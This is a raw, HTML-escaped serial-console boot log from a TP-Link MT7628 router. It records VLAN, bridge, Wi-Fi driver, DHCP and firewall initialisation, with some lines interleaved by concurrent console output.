Set: phy[4].reg[0] = 3900&lt;br /&gt;
Set: phy[0].reg[0] = 3300&lt;br /&gt;
Set: phy[1].reg[0] = 3300&lt;br /&gt;
Set: phy[2].reg[0] = 3300&lt;br /&gt;
Set: phy[3].reg[0] = 3300&lt;br /&gt;
Set: phy[4].reg[0] = 3300&lt;br /&gt;
resetMiiPortV over.&lt;br /&gt;
Set: phy[0].reg[4] = 01e1&lt;br /&gt;
Set: phy[0].reg[0] = 3300&lt;br /&gt;
Set: phy[1].reg[4] = 01e1&lt;br /&gt;
Set: phy[1].reg[0] = 3300&lt;br /&gt;
Set: phy[2].reg[4] = 01e1&lt;br /&gt;
Set: phy[2].reg[0] = 3300&lt;br /&gt;
Set: phy[3].reg[4] = 01e1&lt;br /&gt;
Set: phy[3].reg[0] = 3300&lt;br /&gt;
Set: phy[4].reg[4] = 01e1&lt;br /&gt;
Set: phy[4].reg[0] = 3300&lt;br /&gt;
turn off flow control over.&lt;br /&gt;
starting pid 82, tty &#039;/dev/ttyS1&#039;: &#039;/bin/sh&#039;&lt;br /&gt;
~ # [ util_execSystem ] 141:  ipt_init cmd is &amp;quot;/var/tmp/dconf/rc.router&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ dm_readFile ] 2061:  can not open xml file /var/tmp/pc/reduced_data_model.xml!, about to open file /etc/reduced_data_model.xml&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007c0000 length 0x10000, ret 0, retlen 0x10000&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007c0000 length 0xa1b0, ret 0, retlen 0xa1b0&lt;br /&gt;
===&amp;gt;Enter Routerspiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
 mode&lt;br /&gt;
[ oal_sys_readMaspiflash_ioctl_read, Read from 0x007df200 length 0x4, ret 0, retlen 0x4&lt;br /&gt;
cFlash ] 1174:  spiflash_ioctl_read, Read from 0x007df300 length 0x4, ret 0, retlen 0x4&lt;br /&gt;
set flash mac : spiflash_ioctl_read, Read from 0x007df400 length 0x10, ret 0, retlen 0x10&lt;br /&gt;
74:DA:88:FC:C3:Aspiflash_ioctl_read, Read from 0x007df500 length 0x29, ret 0, retlen 0x29&lt;br /&gt;
E.&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df600 length 0x21, ret 0, retlen 0x21&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df700 length 0x10, ret 0, retlen 0x10&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df700 length 0x10, ret 0, retlen 0x10&lt;br /&gt;
spiflash_ioctl_read, Read from 0x00020000 length 0x1d0, ret 0, retlen 0x1d0&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
[ oal_sys_readMacFlash ] 1174:  set flash mac : 74:DA:88:FC:C3:AE.&lt;br /&gt;
sendto: No such file or directory&lt;br /&gt;
pid 81 send 2001 error&lt;br /&gt;
Get SNTP new config&lt;br /&gt;
[ util_execSystem ] 141:  oal_startDynDns cmd is &amp;quot;dyndns /var/tmp/dconf/dyndns.conf&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_startNoipDns cmd is &amp;quot;noipdns /var/tmp/dconf/noipdns.conf&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_startCmxDns cmd is &amp;quot;cmxdns /var/tmp/dconf/cmxdns.conf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ioctl: No such device&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_addBridge cmd is &amp;quot;brctl addbr br0;brctl setfd br0 0;brctl stp br0 off&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_ipt_addLanRules cmd is &amp;quot;iptables -t filter -A INPUT -i br+ -j ACCEPT&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_setIntf cmd is &amp;quot;ifconfig br0 192.168.1.1 netmask 255.255.255.0 up&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_util_setProcLanAddr cmd is &amp;quot;echo &amp;quot;br0 16885952,&amp;quot;Raeth v3.1 ( &amp;gt; /proc/net/conNAPI&lt;br /&gt;
ntract_LocalAddr,SkbRecycle&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ util_exec)&lt;br /&gt;
System ] 141:  o&lt;br /&gt;
phy_tx_ring = 0x030cf000, tx_ring = 0xa30cf000&lt;br /&gt;
al_intf_enableIn&lt;br /&gt;
phy_rx_ring0 = 0x030d0000, rx_ring0 = 0xa30d0000&lt;br /&gt;
tf cmd is &amp;quot;ifcon[fe_sw_init:5350]rt305x_esw_init.&lt;br /&gt;
fig eth0 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
disable switch phyport...&lt;br /&gt;
GMAC1_MAC_ADRH -- : 0x000074da&lt;br /&gt;
GMAC1_MAC_ADRL -- : 0x88fcc3ae&lt;br /&gt;
RT305x_ESW: Link Status Changed&lt;br /&gt;
[ rsl_getUnusedVlan ] 1079:  GET UNUSED VLAN TAG 1 : [3]&lt;br /&gt;
[ rsl_getUnusedVlan ] 1079:  GET UNUSED VLAN TAG 2 : [4]&lt;br /&gt;
[ rsl_getUnusedVlan ] 1079:  GET UNUSED VLAN TAG 3 : [5]&lt;br /&gt;
[ rsl_getUnusedVlan ] 1079:  GET UNUSED VLAN TAG 4 : [6]&lt;br /&gt;
[ util_execSystem ] 141:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 3&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.3 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.3 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 141:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 4&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.4 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.4 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 141:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 5&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.5 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.5 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 141:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 6&amp;quot;&lt;br /&gt;
[ util_execSystem ] device eth0.3 entered promiscuous mode&lt;br /&gt;
141:  oal_intf_edevice eth0 entered promiscuous mode&lt;br /&gt;
nableIntf cmd isbr0: port 1(eth0.3) entering forwarding state&lt;br /&gt;
 &amp;quot;ifconfig eth0.br0: port 1(eth0.3) entering forwarding state&lt;br /&gt;
6 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.6 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 141:  oal_addVlanTagdevice eth0.4 entered promiscuous mode&lt;br /&gt;
Intf cmd is &amp;quot;vcobr0: port 2(eth0.4) entering forwarding state&lt;br /&gt;
nfig add eth0 2&amp;quot;br0: port 2(eth0.4) entering forwarding state&lt;br /&gt;
&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.2 up&amp;quot;&lt;br /&gt;
device eth0.5 entered promiscuous mode&lt;br /&gt;
&lt;br /&gt;
set if eth0.2 tbr0: port 3(eth0.5) entering forwarding state&lt;br /&gt;
o wan dev&lt;br /&gt;
[ vlabr0: port 3(eth0.5) entering forwarding state&lt;br /&gt;
n_addLanPortsIntoBridge ] 606:  add lan Port 255 from br0&lt;br /&gt;
[ util_execSystem ] 1device eth0.6 entered promiscuous mode&lt;br /&gt;
41:  oal_br_addIbr0: port 4(eth0.6) entering forwarding state&lt;br /&gt;
ntfIntoBridge cmbr0: port 4(eth0.6) entering forwarding state&lt;br /&gt;
d is &amp;quot;brctl addif br0 eth0.3&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_addIntfIntoBridge cmd is &amp;quot;brctl addif br0 eth0.4&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_addIntfIntoBridge cmd is &amp;quot;brctl addif br0 eth0.5&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_addIntfIntoBridge cmd is &amp;quot;brctl addif br0 eth0.6&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  rsl_initIPv6CfgObj cmd is &amp;quot;echo 1 &amp;gt; /proc/sys/net/ipv6/conf/all/disable_ipv6&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_eth_setIGMPSnoopParam cmd is &amp;quot;for i in /sys/devices/virtual/net/*/bridge/multicast_snooping;do echo 1 &amp;gt; $i ; done&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_setCountryRegion cmd is &amp;quot;cp /etc/SingleSKU_CE.dat /var/Wireless/RT2860AP/SingleSKU.dat&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_setCountryRegion cmd is &amp;quot;iwpriv ra0 set CountryRegion=1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ra0       no private ioctls.&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_loadDriver cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/drivers/net/wireless/mt_wifi_ap/mt_wifi.ko&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.4: link becomes ready&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.5: link becomes ready&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.6: link becomes ready&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.2: link becomes ready&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== pAd = c085d000, size = 1509896 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;-- RTMPAllocTxRxRingMemory, Status=0, ErrorValue=0x&lt;br /&gt;
&amp;lt;-- RTMPAllocAdapterBlock, Status=0&lt;br /&gt;
RtmpChipOpsHook(492): Not support for HIF_MT yet!&lt;br /&gt;
mt7628_init()--&amp;gt;&lt;br /&gt;
mt7628_init(FW(8a00), HW(8a01), CHIPID(7628))&lt;br /&gt;
e2.bin mt7628_init(1156)::(2), pChipCap-&amp;gt;fw_len(64560)&lt;br /&gt;
mt_bcn_buf_init(218): Not support for HIF_MT yet!&lt;br /&gt;
&amp;lt;--mt7628_init()&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_initWlan cmd is &amp;quot;ifconfig ra0 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
TX_BCN DESC a32b6000 size = 320&lt;br /&gt;
RX[0] DESC a32b8000 size = 2048&lt;br /&gt;
RX[1] DESC a32b9000 size = 2048&lt;br /&gt;
RT_CfgSetApcliMacAddress : invalid mac setting&lt;br /&gt;
cfg_mode=9&lt;br /&gt;
cfg_mode=9&lt;br /&gt;
wmode_band_equal(): Band Equal!&lt;br /&gt;
AndesSendCmdMsg: Could not send in band command due to diable fRTMP_ADAPTER_MCU_SEND_IN_BAND_CMD&lt;br /&gt;
APSDCapable[0]=0&lt;br /&gt;
APSDCapable[1]=0&lt;br /&gt;
APSDCapable[2]=0&lt;br /&gt;
APSDCapable[3]=0&lt;br /&gt;
APSDCapable[4]=0&lt;br /&gt;
APSDCapable[5]=0&lt;br /&gt;
APSDCapable[6]=0&lt;br /&gt;
APSDCapable[7]=0&lt;br /&gt;
APSDCapable[8]=0&lt;br /&gt;
APSDCapable[9]=0&lt;br /&gt;
APSDCapable[10]=0&lt;br /&gt;
APSDCapable[11]=0&lt;br /&gt;
APSDCapable[12]=0&lt;br /&gt;
APSDCapable[13]=0&lt;br /&gt;
APSDCapable[14]=0&lt;br /&gt;
APSDCapable[15]=0&lt;br /&gt;
default ApCliAPSDCapable[0]=0&lt;br /&gt;
Key1Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key1Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key2Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key2Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key3Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key3Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key4Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key4Str is Invalid key length(0) or Type(0)&lt;br /&gt;
WscKeyASCII=8&lt;br /&gt;
WscKeyASCII=8&lt;br /&gt;
[RTMPReadParametersHook:297]wifi read profile faild.&lt;br /&gt;
load fw image from fw_header_image&lt;br /&gt;
AndesMTLoadFwMethod1(2263)::pChipCap-&amp;gt;fw_len(64560)&lt;br /&gt;
FW Version:1&lt;br /&gt;
FW Build Date:20161213152835&lt;br /&gt;
CmdAddressLenReq:(ret = 0)&lt;br /&gt;
CmdFwStartReq: override = 1, address = 1048576&lt;br /&gt;
CmdStartDLRsp: WiFI FW Download Success&lt;br /&gt;
MtAsicDMASchedulerInit(): DMA Scheduler Mode=0(LMAC)&lt;br /&gt;
efuse_probe: efuse = 10000012&lt;br /&gt;
RtmpChipOpsEepromHook::e2p_type=0, inf_Type=4&lt;br /&gt;
RtmpEepromGetDefault::e2p_dafault=2&lt;br /&gt;
RtmpChipOpsEepromHook: E2P type(2), E2pAccessMode = 2, E2P default = 2&lt;br /&gt;
NVM is FLASH mode&lt;br /&gt;
1. Phy Mode = 14&lt;br /&gt;
exec!&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007f0000 length 0x400, ret 0, retlen 0x400&lt;br /&gt;
tx or rx disable[f0000300][count=0]!!!&lt;br /&gt;
eeFlashId = 0x7628!&lt;br /&gt;
tx or rx disable[f0000300][count=1]!!!&lt;br /&gt;
Country Region from e2p = ffff&lt;br /&gt;
tssi_1_target_pwr_g_band = 34&lt;br /&gt;
2. Phy Mode = 14&lt;br /&gt;
3. Phy Mode = 14&lt;br /&gt;
NICInitPwrPinCfg(11): Not support for HIF_MT yet!&lt;br /&gt;
NICInitializeAsic(651): Not support rtmp_mac_sys_reset () for HIF_MT yet!&lt;br /&gt;
mt_mac_init()--&amp;gt;&lt;br /&gt;
MtAsicInitMac()--&amp;gt;&lt;br /&gt;
mt7628_init_mac_cr()--&amp;gt;&lt;br /&gt;
MtAsicSetMacMaxLen(1277): Set the Max RxPktLen=450!&lt;br /&gt;
&amp;lt;--mt_mac_init()&lt;br /&gt;
        WTBL Segment 1 info:&lt;br /&gt;
tx or rx disable[f0000300][count=2]!!!&lt;br /&gt;
Reset tx rx bit!!!&lt;br /&gt;
                MemBaseAddr/FID:0x28000/0&lt;br /&gt;
                EntrySize/Cnt:32/128&lt;br /&gt;
        WTBL Segment 2 info:&lt;br /&gt;
                MemBaseAddr/FID:0x40000/0&lt;br /&gt;
                EntrySize/Cnt:64/128&lt;br /&gt;
        WTBL Segment 3 info:&lt;br /&gt;
                MemBaseAddr/FID:0x42000/64&lt;br /&gt;
                EntrySize/Cnt:64/128&lt;br /&gt;
        WTBL Segment 4 info:&lt;br /&gt;
                MemBaseAddr/FID:0x44000/128&lt;br /&gt;
                EntrySize/Cnt:32/128&lt;br /&gt;
AntCfgInit(2940): Not support for HIF_MT yet!&lt;br /&gt;
MCS Set = ff ff 00 00 01&lt;br /&gt;
MtAsicSetChBusyStat(861): Not support for HIF_MT yet!&lt;br /&gt;
FW LOG: !!!! Pass, dont need recal (total fail[0])&lt;br /&gt;
&lt;br /&gt;
FW LOG: !!!! Pass, dont need recal (total fail[0])&lt;br /&gt;
&lt;br /&gt;
FW LOG: !!!! Pass, dont need recal (total fail[0])&lt;br /&gt;
&lt;br /&gt;
FW LOG: RxDCOC Set DC Valid(8)(2)&lt;br /&gt;
&lt;br /&gt;
tx or rx disable[f0000300][count=0]!!!&lt;br /&gt;
CmdSlotTimeSet:(ret = 0)&lt;br /&gt;
[PMF]ap_pmf_init:: apidx=0, MFPC=0, MFPR=0, SHA256=0&lt;br /&gt;
[PMF]RTMPMakeRsnIeCap: RSNIE Capability MFPC=0, MFPR=0&lt;br /&gt;
[PMF]ap_pmf_init:: apidx=1, MFPC=0, MFPR=0, SHA256=0&lt;br /&gt;
MtAsicSetRalinkBurstMode(3156): Not support for HIF_MT yet!&lt;br /&gt;
MtAsicSetPiggyBack(796): Not support for HIF_MT yet!&lt;br /&gt;
reload DPD from flash , 0x9F = [ca00] doReload bit7[0]&lt;br /&gt;
CmdLoadDPDDataFromFlash: Channel = 3, DoReload = 0&lt;br /&gt;
MtAsicSetTxPreamble(3135): Not support for HIF_MT yet!&lt;br /&gt;
MtAsicAddSharedKeyEntry(1344): Not support for HIF_MT yet!&lt;br /&gt;
The 4-BSSID mode is enabled, the BSSID byte5 MUST be the multiple of 4&lt;br /&gt;
MtAsicSetPreTbtt(): bss_idx=0, PreTBTT timeout = 0xf0&lt;br /&gt;
ap_ftkd&amp;gt; Initialize FT KDP Module...&lt;br /&gt;
Main bssid = 74:da:88:fc:c3:ae&lt;br /&gt;
&amp;lt;==== rt28xx_init, Status=0&lt;br /&gt;
@@@ ed_monitor_init : ===&amp;gt;&lt;br /&gt;
@@@ ed_monitor_init : &amp;lt;===&lt;br /&gt;
mt7628_set_ed_cca: TURN ON EDCCA mac 0x10618 = 0xd7c87d0f, EDCCA_Status=1&lt;br /&gt;
WiFi Startup Cost (ra0): 3.464s&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_initWlan cmd is &amp;quot;echo 1 &amp;gt; /proc/tplink/led_wlan_24G&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlanSet_ed_chk_proc()::ed_chk=0&lt;br /&gt;
_ra_initWlan cmdmt7628_set_ed_cca: TURN OFF EDCCA  mac 0x10618 = 0xd7083f0f, EDCCA_Status=0&lt;br /&gt;
 is &amp;quot;iwpriv ra0 set ed_chk=0&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_setStaNum cmd is &amp;quot;iwpriv ra0 set MaxStaNum=32&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_addIntfIntoBridge cmd device ra0 entered promiscuous mode&lt;br /&gt;
is &amp;quot;brctl addif br0: port 5(ra0) entering forwarding state&lt;br /&gt;
br0 ra0&amp;quot;&lt;br /&gt;
&lt;br /&gt;
br0: port 5(ra0) entering forwarding state&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_addIntfIntoBridge cmd is &amp;quot;brctldevice apcli0 entered promiscuous mode&lt;br /&gt;
 addif br0 apcli0&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_addIntfIntoBridge cmd is device ra1 entered promiscuous mode&lt;br /&gt;
&amp;quot;brctl addif br0 ra1&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_initEnd cmspiflash_ioctl_read, Read from 0x007f0000 length 0x2, ret 0, retlen 0x2&lt;br /&gt;
d is &amp;quot;wlNetlinkTool &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_initEnd cmd is &amp;quot;killall -q wscd&amp;quot;&lt;br /&gt;
&lt;br /&gt;
WLAN-Start wlNetlinkTool&lt;br /&gt;
Waiting for Wireless Events from interfaces...&lt;br /&gt;
swWlanChkAhbErr: netlink to do&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_initEnd cmd is &amp;quot;wscd -i ra0 -m 1 -w /var/tmp/wsc_upnp/ &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  rsl_initLanWlanObj cmd is &amp;quot;echo 0 &amp;gt; /proc/tplink/wl_mode&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ oal_wlan_ra_loadDriver ] 2040:  no 5G chip.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[ rsl_initLanWlanObj ] 9419:  perror:1&lt;br /&gt;
wscd: SSDP UDP PORT = 1900&lt;br /&gt;
sendto: No such file or directory&lt;br /&gt;
pid 81 send 2030 error&lt;br /&gt;
sendto: No such file or directory&lt;br /&gt;
pid 81 send 2004 error&lt;br /&gt;
[ util_execSystem ] 141:  oal_startDhcps cmd is &amp;quot;dhcpd /var/tmp/dconf/udhcpd.conf&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_lan6_startDhcp6s cmd is &amp;quot;dhcp6s -c /var/tmp/dconf/dhcp6s_br0.conf -P /var/run/dhcp6s_br0.pid br0 &amp;amp;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 141:  oal_lan6_startRadvd cmd is &amp;quot;radvd -C /var/tmp/dconf/radvd_br0.conf -p /var/run/radvd_br0.pid &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_startSnmp cmd is &amp;quot;snmpd -f /var/tmp/dconf/snmpd.conf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
mldProxy# file: src/mld_ifinfo.c;line: 102; error = No such file or directory&lt;br /&gt;
mldProxy# Err: get LLA failed&lt;br /&gt;
[ rsl_initEwanObj ] 298: Initialize EWAN, enable(1)!&lt;br /&gt;
[ rsl_setEwanObj ] 208: Get Ethernet&#039;s stack!&lt;br /&gt;
[ rsl_setEwanObj ] 262: enable ethernet interface now!&lt;br /&gt;
[ oal_ewan_enable ] 458: pEwan-&amp;gt;ifName(eth0.2)&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_delIntfFromBridge cmd is &amp;quot;brctl delif br0 eth0.2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
brctl: bridge br0: Invalid argument&lt;br /&gt;
[ rsl_setEwanObj ] 268: EWAN.ifname(eth0.2)!&lt;br /&gt;
[ wan_conn_wanIpConn_getConnectionInfo ] 906: GET MAC(74:DA:88:FC:C3:AF) successfully!&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_setIfMac cmd is &amp;quot;ifconfig eth0.2 down&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_setIfMac cmd is &amp;quot;ifconfig eth0.2 hw ether 74:DA:88:FC:C3:AF up&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.2 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ rsl_initWanPppConnObj ] 398: into rsl_initWanPppConnObj!&lt;br /&gt;
[ rsl_initWanPppConnObj ] 515: rsl_initWanPppConnObj successed!&lt;br /&gt;
[ rsl_initWanPppConnObj ] 398: into rsl_initWanPppConnObj!&lt;br /&gt;
[ rsl_initWanPppConnObj ] 515: rsl_initWanPppConnObj successed!&lt;br /&gt;
radvd starting&lt;br /&gt;
[Jan 01 00:00:08] radvd: no linklocal address configured for br0&lt;br /&gt;
[Jan 01 00:00:08] radvd: error parsing or activating the config file: /var/tmp/dconf/radvd_br0.conf&lt;br /&gt;
[ rsl_initAppObj ] 1020:  ==&amp;gt; start dhcp client&lt;br /&gt;
[ util_execSystem ] 141:  oal_ipt_fwDdos cmd is &amp;quot;iptables -D FORWARD -j FIREWALL_DDOS&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: No chain/target/match by that name.&lt;br /&gt;
[ util_execSystem ] 141:  oal_ipt_forbidLanPing cmd is &amp;quot;iptables -t filter -D INPUT -i br+ -p icmp --icmp-type echo-request -j DROP&lt;br /&gt;
iptables -t filter -D FORWARD -i br+ -p icmp --icmp-type echo-request -j DROP&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 141:  oal_ddos_delPingRule cmd is &amp;quot;iptables -t filter -D INPUT ! -i br+ -p icmp --icmp-type echo-request -j ACCEPT&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 141:  oal_ipt_setDDoSRules cmd is &amp;quot;iptables -F FIREWALL_DDOS&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  ddos_clearAll cmd is &amp;quot;rm -f /var/tmp/dosHost&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initFirewallObj cmd is &amp;quot;ebtables -N FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -F&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -X&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -P INPUT ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -P FORWARD DROP&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -P OUTPUT ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -N FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -N FWRULE&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -N SETMSS&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -i lo -p ALL -j ACCEPT -m comment                                --comment &amp;quot;loop back&amp;quot;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT  -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -i br+ -p tcp --dport 23 -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -p tcp --dport 23 -j DROP&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -i br+ -p tcp --dport 22 -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -p tcp --dport 22 -j DROP&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -i br+ -p icmpv6 --icmpv6-type echo-request -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request -j DROP&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A FORWARD -i br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A FORWARD -o br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A FORWARD -j FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -I FORWARD 1 -j SETMSS&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_fw6_setFwEnabeld cmd is &amp;quot;ip6tables -D FIREWALL -j ACCEPT&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ip6tables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 141:  oal_fw6_setFwEnabeld cmd is &amp;quot;ip6tables -F FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_fw6_setFwEnabeld cmd is &amp;quot;ip6tables -A FIREWALL -j ACCEPT&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ rsl_initWanL2tpConnObj ] 245: L2TP Connection(ewan_l2tp) is not enable.&lt;br /&gt;
&lt;br /&gt;
[ rsl_initWanL2tpConnObj ] 245: L2TP Connection() is not enable.&lt;br /&gt;
&lt;br /&gt;
[ rsl_initWanPptpConnObj ] 239: PPTP Connection(ewan_pptp) is not enable.&lt;br /&gt;
&lt;br /&gt;
[ rsl_initWanPptpConnObj ] 239: PPTP Connection() is not enable.&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_ftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_ftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_openAlg cmd is &amp;quot;iptables -D FORWARD_VPN_PASSTHROUGH  -p udp --dport 500 -j DROP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_proto_gre.ko&amp;quot;&lt;br /&gt;
